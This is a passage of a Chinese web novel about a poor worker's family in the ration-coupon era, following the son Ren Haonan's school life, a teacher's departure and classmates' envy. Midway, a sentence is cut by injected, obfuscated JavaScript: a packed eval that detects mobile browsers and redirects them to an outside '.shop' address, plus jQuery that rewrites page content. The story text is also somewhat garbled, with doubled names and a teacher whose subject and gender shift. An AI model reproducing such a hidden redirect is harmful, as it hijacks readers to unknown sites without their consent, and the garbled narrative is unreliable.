这一幕令人感动，任浩楠无法理解为什么父亲不吃。
那年腊月的北风卷着细雪，世和裹紧磨得起球的中山装，在供销社门口跺着冻僵的脚。
玻璃柜台里的白糖像细碎的月光，他摸出揣在贴胸口袋的粮票本，手指抚过边角卷起的票证——本月的副食票只剩两张，得留着换孩子们的作业本。
“爸！“任浩楠顶着结冰的睫毛扑过来，书包带磨得发白，“学校要交手工课材料，能不能买包彩色卡纸？“
世和看着儿子冻红的鼻尖，喉咙发紧。
昨天妻子刚用省下的布票给最小的浩怡换了双棉鞋，现在全家的积蓄只剩铝盒里的几枚硬币。
深夜，世和蹲在煤炉前烤红薯。火苗舔舐着开裂的炉壁，映得墙上的全家福微微发亮。
照片里妻子穿着补丁摞补丁的蓝布衫，怀里抱着襁褓中的浩怡，而任浩楠和浩林正踮脚够树上的柿子。
他用铁钳夹出烤得流蜜的红薯，掰成四瓣，把最大的两瓣塞进孩子们枕边。
每月发工资那天，世和总要在工资单前站很久。
钢笔尖悬在“家属补助“栏犹豫再三，最终还是划掉准备给自己添件衬衫的预算。
路过国营饭店时，炸油条的香气勾得他直咽口水，可想到孩子们碗里清汤寡水的面条，他攥紧口袋里的铝制饭盒，加快脚步往家走。
一个暴雨倾盆的傍晚，世和浑身湿透地冲进家门，怀里紧紧抱着用油纸包着的作业本。
“爸，您的雨衣呢？“浩林看着父亲滴水的头发，眼眶发红。
世和笑着抖开皱巴巴的油纸：“傻小子，雨衣挡雨，这纸能挡作业啊！“
其实他把唯一的雨衣盖在了从厂里带回的碎木料上——那是给孩子们做书桌的材料。
除夕夜，全家围着煤炉吃白菜饺子。
世和数着碟子里的饺子，把包着硬币的那枚悄悄夹进任浩楠碗里。
“爸，您怎么不吃？“浩怡举着缺了口的搪瓷碗，沾着面粉的小手伸向他。
世和摸摸女儿的羊角辫：“爸就爱喝饺子汤。“滚烫的面汤入喉，他望着墙上挂着的“先进工作者“奖状，奖状边缘被煤烟熏得发黄，却比任何勋章都沉重。
他有这样的思考，浩怡还有浩檀觉得这是顺理成章的事，一点也不奇怪，可怜天下父母心，都是为自己的孩子考虑，舍不得吃舍不得穿，有好吃的好穿的都会给孩子，相反，孩子不会考虑给父母。一代一代就这样度过。
昏黄的灯光洒在狭小的职工宿舍里，墙壁上有些许斑驳的痕迹，屋内陈设简单而朴素。
三个孩子像三只欢快的小鸟，听到爸爸世和下班的动静，便一股脑地围了上去。
世和脸上带着一天劳作后的疲惫，眼神中却满是慈爱。他缓缓地从工作服口袋里掏出用旧手帕包着的包子，还有一瓶汽水。
孩子们的眼睛瞬间亮了起来，那包子还带着些许余温，汽水的玻璃瓶壁上凝结着细密的水珠。
任浩楠懂事地拉着世和的手，说：“爸爸，您也吃。”
世和笑着摸摸他的头：“爸爸不饿，你们吃，快快长身体。”
任浩楠已经迫不及待地拿起一个包子，咬了一口，腮帮子鼓鼓的，含糊不清地说：“好吃，谢谢爸爸。”
然后小儿子浩檀则在一旁好奇地看着汽水，世和轻轻拧开瓶盖，递给浩檀，小儿子小心翼翼地抿了一口，脸上露出甜甜的笑容，然后打了饱嗝，非常舒爽。
妈妈在一旁温柔地看着这一切，偶尔嗔怪孩子们几句。
一家人围坐在一起，虽然空间局促，但欢声笑语不断。孩子们分享着学校里的趣事，爸爸认真地听着，时不时插上几句鼓励的话。灯光下，这个并不富裕、身份特殊的家庭，却被浓浓的亲情和温馨笼罩着，仿佛外界的一切艰辛都无法穿透这扇小小的宿舍门，他们在自己的小天地里，享受着简单而纯粹的幸福时光。
教室里弥漫着一种别样的氛围，得知陪伴了自己初一上半年的语文老师即将离开，同学们围在周老师身边，叽叽喳喳地议论着。
“老师，您为什么要走呀？是不是我们太调皮了？”一个扎着马尾辫的女生吴莉眼睛红红的，带着哭腔问道。
旁边的几个同学也跟着附和：“老师，我们舍不得您。”
周老师脸上带着和蔼的笑容，轻轻拍了拍女生的肩膀说：“不是你们的问题，这是学校的安排，以后会有更优秀的老师来教你们。”
这时，刘老师也走了进来。同学们的目光在两位老师之间游移，既有对周老师的不舍，又有对刘老师的好奇与陌生感。几个调皮的男生虽然平时大大咧咧，但此刻也都安静了下来，眼神中流露出一丝失落。
任浩楠是班长，他站了出来，代表全班同学说道：“老师，这半年来您教给我们好多知识，我们都特别感激您。您的语文课总是那么有趣，那些诗词和文章好像被您施了魔法一样，变得生动起来。”
周老师的眼眶微微湿润，他看着同学们，一一扫视过那些熟悉而稚嫩的脸庞：“同学们，和你们相处的时光我也很难忘。不过我相信刘老师会带着你们在知识的海洋里继续遨游。”
刘老师微笑着点头，向同学们说道：“我知道大家对周老师感情很深，我也很敬佩他。我会努力延续这份教育的责任，和大家一起开启新的学习旅程。”
但同学们还是忍不住往周老师身边靠，有的拉着他的衣角，有的递上自己精心制作的小卡片。直到上课铃响起，周老师才缓缓转身，在同学们依依不舍的目光中，慢慢走出教室，而同学们还久久沉浸在离别的愁绪之中，教室里的气氛凝重而又充满温情。
在那略显陈旧的教室里，阳光透过斑驳的玻璃洒在课桌上。课间时分，同学们正围在一起讨论着刚刚公布的考试成绩。
“看，那个从农村来的任任浩楠又考了全班第一名，真厉害！”一个城里孩子皱着眉头说道，话语里带着一丝不甘。
“哼，有什么了不起，不就是个半边户的孩子，每天就知道死读书。”另一个城里孩子附和着，眼神里满是嫉妒。
他们你一言我一语，叽叽喳喳个不停。
而此时，那个被议论的任浩楠正坐在角落的座位上，安静地翻看着课本，对周围的议论仿若未闻。
他的手上还沾着一些蜂窝煤黑色的痕迹，那是早上帮家里燃起煤炉后匆匆赶来学校留下的。他的衣服虽然朴素，甚至有些破旧，但洗得干干净净。他深知自己家庭条件不好，唯有拼命学习才能改变命运，所以每日都早起晚睡，刻苦钻研书本知识。
城里的孩子们却难以理解，他们生活在相对优渥的环境中，拥有更多的学习资源，可成绩却总是比不上这个从农村来的同学。
他们的嫉妒在心底蔓延，却又无可奈何，只能在背后发发牢骚，而那农村孩子专注学习的身影，在这充满嫉妒与议论的教室里，显得愈发坚定和高大，仿佛在无声地诉说着他对知识的渴望和对未来的憧憬，不为外界的纷扰所动，一心只在自己的学业之路上砥砺前行。
在那充满阳光的教室里，刘老师面带微笑，手中拿着一叠作文本缓缓走上讲台。她清了清嗓子，目光温柔地落在角落里那个任浩楠的身上。
“同学们，这次的作文，有一位同学写得极为出色，”刘老师的声音清脆而有力，“这位同学就是任任浩楠。”说着，她扬了扬手中的作文本，上面正写着那孩子的名字。教室里顿时安静下来，所有目光都投向了那个衣着朴素的孩子。
刘老师轻轻翻开作文本，开始朗读起来。
她的声音抑扬顿挫，饱含情感，将作文中的文字编织成一幅动人的画卷在教室里展开。
读到精彩之处，还会稍作停顿，点头赞许。任浩楠的脸微微泛红，既有些羞涩又难掩自豪，他低着头，手指不自觉地摩挲着衣角。
读完作文，刘老师合上本子，眼神中满是欣赏：“任任浩楠同学虽然来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656915|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自农村，家庭条件有限，但他学习极其刻苦，这种精神值得我们每一个人学习。他的作文用词精准，情感真挚，从生活的点滴中挖掘出深刻的感悟，这是很多同学所欠缺的。我希望大家都能以他为榜样，在学习上更加努力，用心去感受生活，写出有血有肉的好文章。不要写成说明文，或者写成流水账，要从生活中找素材，再从素材中提炼，不断升华，最终形成文章。”
同学们纷纷转头看向任浩楠，眼神里有惊讶，有敬佩，也有一丝若有所思。在刘老师的鼓励下，教室里渐渐响起了热烈的掌声，那掌声经久不息，仿佛是对任浩楠的最高赞誉，也为整个班级注入了一股新的力量，激励着大家在求知的道路上奋勇向前。
清晨的阳光轻柔地洒在校园的小径上，教室里的同学们却已有些坐立不安。上课铃早已响过，数学刘老师却迟迟未到。班长任浩楠皱起眉头，心中满是疑惑与焦急，决定前往刘老师的宿舍一探究竟。
一路小跑来到宿舍门口，任浩楠轻轻敲门，里面传来一阵轻微的动静后，刘老师才打开门。只见他头发略显凌乱，眼神中还带着一丝未睡醒的惺忪，衬衫的扣子也扣得歪歪扭扭，完全没了平日里在课堂上的精神利落。
任浩楠小心翼翼地说道：“刘老师，上课时间已经过了，同学们都在教室里等着您呢。”
刘老师先是一愣，随后脸上露出尴尬的神情，他手忙脚乱地整理着衣服，嘴里喃喃道：“哎呀，我这……昨晚忙得太晚，竟然把这事给忘了。”
任浩楠强忍着笑意，心里却在暗自揣测，老师该不会是因为正在热恋中，和恋人聊天或者约会才晚睡误事了吧。
刘老师匆忙穿上鞋子，拿上书本，跟着任浩楠快步向教室走去。一边走还一边自言自语：“这可真是太不应该了，同学们肯定等着急了。”
而任浩楠则在一旁偷笑，心想这事儿要是传出去，肯定会成为同学们课间的一大谈资，平日里严肃的刘老师竟然也会因为恋爱而犯迷糊，这可真是校园里别样的有趣一幕。
针对有些代课老师反映班上纪律差的问题，刘老师想出一个办法，她严肃地布置下一项任务：让任浩楠和其他班干部记录上课说闲话、做小动作等表现不好的同学名单。班长无奈地接受了，可他没想到，这竟成了一场“噩梦”的开端。
课堂上，每当任浩楠拿起笔准备记录时，那些调皮的同学就会投来不满的目光。
下课后，教室里更是议论纷纷。“哼，看那个任浩楠，就会讨好老师，专门记我们的名字。”
一个高个子男生不屑地说道，周围几个同学纷纷点头。“我听说啊，他就是想在老师面前表现，说不定还会添油加醋呢。”一个女生在一旁小声附和，眼神里带着一丝鄙夷。
班长走在校园的小道上，总感觉背后有人指指点点。原本和他要好的几个朋友也渐渐疏远了他，他心中满是委屈和无奈。
有一次，他偶然听到几个同学在角落里造谣：“你们知道吗？任浩楠之所以这么积极，是因为他想让老师给他评优秀，这样就能得到奖品，然后去讨好他喜欢的女生。”
听到这些无端的谣言，班长的眼眶泛红，他只是在执行老师的任务，却为何要遭受如此对待？他试图向同学们解释，可大家根本不听，依旧在背后说个不停。
那年春末的阳光斜斜切进教室，任浩楠摸了摸左臂上崭新的值日生红臂章，塑料材质在皮肤上硌得生疼。
后排传来窸窸窣窣的议论声，像细小的银针扎进耳膜。
“哼，半边户还管人呢。”
“听说他爸的布票都是借来的......”
粉笔灰在阳光下悬浮，任浩楠握着黑板擦的手微微发颤。
他瞥见前排***的搪瓷缸里飘着奶皮，那是商品粮家庭才能享有的**牛奶。
而自己每天揣在书包里的，不过是母亲用红薯干煮的稀粥，此刻还在铝制饭盒里晃荡。